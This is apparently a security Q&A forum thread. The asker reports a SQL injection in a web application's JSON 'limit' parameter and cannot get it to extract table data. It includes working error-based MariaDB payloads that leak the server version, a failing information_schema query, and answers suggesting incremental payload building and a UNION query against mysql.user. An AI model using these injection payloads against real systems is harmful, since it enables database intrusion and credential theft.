SQL-injection, unable to get it to work!

Question

I've recently found a SQL-injection vulnerability in one of our web applications. I've been able to exploit this SQLi, but only able to extract some very basic information. I'm not an expert pentester or SQL-master but this intrigues me and I would like to know what I'm doing wrong.

Baseline: this is a valid input {"limit":"1"} and is what the system expects to receive.

When I inject the limit-parameter with the following:

{"limit":"1 procedure analyse(extractvalue(rand(),concat(0x3a,@@version)),1)-- 1"}

I get:

"XPATH syntax error: ':10.0.30-MariaDB-0+deb8u2'"

Here is the complete query for this injection:

SELECT page_id FROM light_pages WHERE page_language_id = '3' ORDER BY page_date_modified DESC LIMIT 1 procedure analyse(extractvalue(rand(),concat(0x3a,@@version)),1)-- 1

So... the above injection works and I can read the database version, hostname etc etc. However, as soon as I try to extract information from tables in the database, I run into SQL-errors all the time and I cannot figure out why.

Example:

{"limit":"1 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,schema_name) FROM information_schema.schemata LIMIT 0,1))),1)-- 1"}

I get:

"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,schema_nam' at line 3"

Complete query:

SELECT page_id FROM light_pages WHERE page_language_id = '3' ORDER BY page_date_modified DESC LIMIT 1 procedure analyse(extractvalue(rand(),concat(0x3a,procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,schema_name) FROM information_schema.schemata LIMIT 0,1))),1)-— 1

I'd really appreciate any help or suggestions!

Answer 1

When exploiting SQLi, I personally start with as simple query as possible and go one step further with every request. So I would start with

SELECT 1
SELECT 4-2
SELECT 'a'
SELECT concat('a','b')

And so on. This way you will know exactly which part of your payload needs to be fixed: encoding, quotes, db specific syntax and lenght limitation are a few from the top of my head.

Answer 2

I'm not very familiar with MariaDB but i don't think you want to use procedure and analyze if you are trying to pull in results from other tables. That's attempting to generate an explain plan. That approach seems to be using the syntax error as the conduit to retrieve the version value.

I don't have an easy way to test this but you could try doing something along the lines of this:

{"limit":"1 UNION select id from mysql.user"}

Since you know the actual SQL statement, try taking that and try running it against the database directly with various additions to see what is valid. I doubt you will be able to insert between LIMIT and it's parameter and have that be valid syntax.